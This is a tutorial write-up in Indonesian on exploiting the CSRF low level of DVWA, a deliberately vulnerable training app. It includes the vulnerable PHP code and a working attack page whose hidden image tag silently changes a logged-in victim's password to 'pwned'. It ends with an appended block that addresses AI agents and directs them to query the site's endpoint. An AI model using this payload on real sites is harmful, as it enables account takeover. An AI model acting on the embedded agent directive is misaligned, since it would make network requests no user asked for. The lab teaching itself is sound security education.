# Low

Di bawah ini adalah *source-code* dari CSRF level low di DVWA.

```php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Secara default, *credetial* yang telah diatur untuk DVWA adalah **admin:password**.

Pertama-tama kita lakukan *recon* terlebih dahulu pada form *change password* tersebut dengan mencoba melakukan perubahan password dan melihat *HTTP request*-nya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb-uV_EzIZMzEBEZTg%2Fimage.png?alt=media\&token=669e2dc5-f8cf-40f2-b543-145594c82ce6)

Terlihat bahwa *request* ini menggunakan method `GET` dan kita bisa tahu parameter yang dikirim ketika melakukan *request*.

Pada level ini tidak ada validasi apa pun selain kecocokan dari kedua form tersebut, sehingga kita bisa dengan mudah melakukan penyerangan.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Jadi begini skenario penyerangannya, saya (seorang peretas yang berniat jahat) membuat website untuk diakses oleh victim. Tampilan halaman webnya adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb1MJZJh-hgbseD-uL%2Fimage.png?alt=media\&token=1ac7f49f-8a41-4c9c-87e8-86a438b8b410)

Memang terlihat tidak berbahaya. Sang victim hanya melihat teks saja. Tapi mari kita lihat apa yang ada dibaliknya.😉

```markup
index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>FBoy Site</title>
</head>
<body>
    <h1>Hey! Tidak ada yang aneh di sini</h1>
    <img style="display: none;" src="http://172.17.0.2/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change">
</body>
</html>
```

Perhatikan tag `img` pada baris ke-11. Alih-alih **src** yang seharusnya merujuk ke aset gambar (contoh: **png** atau **jpeg**), saya membuatnya merujuk (*pointing*) ke *endpoint* form perubahan password yang kita tuju dan melakukan perubahan password menjadi *"pwned"*.

Jadi ketika victim mengunjungi website tersebut, ia tidak sadar bahwa sesuatu telah terjadi. Jika kita lihat *network request*-nya:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzaxxfHURBmuCNtHAnA%2F-Lzb39dBhavFc8F5NwD7%2Fimage.png?alt=media\&token=a94eab43-9687-48e0-b42a-9e66d984d9b6)

Tag `img` tersebut membuat browser mengirim *request* `GET` untuk mengubah password melalui *endpoint* yang sebelumnya kita dapatkan. Dan karena *request* ini berasal dari browser victim, dan victim sudah melakukan autentikasi (login), maka `PHPSESSID` akan terkirim di *HTTP cookie*-nya.

Sekarang kita bisa masuk dengan kata sandi baru *"pwned"*.

Happy Hacking! 🍻


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/csrf/low.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
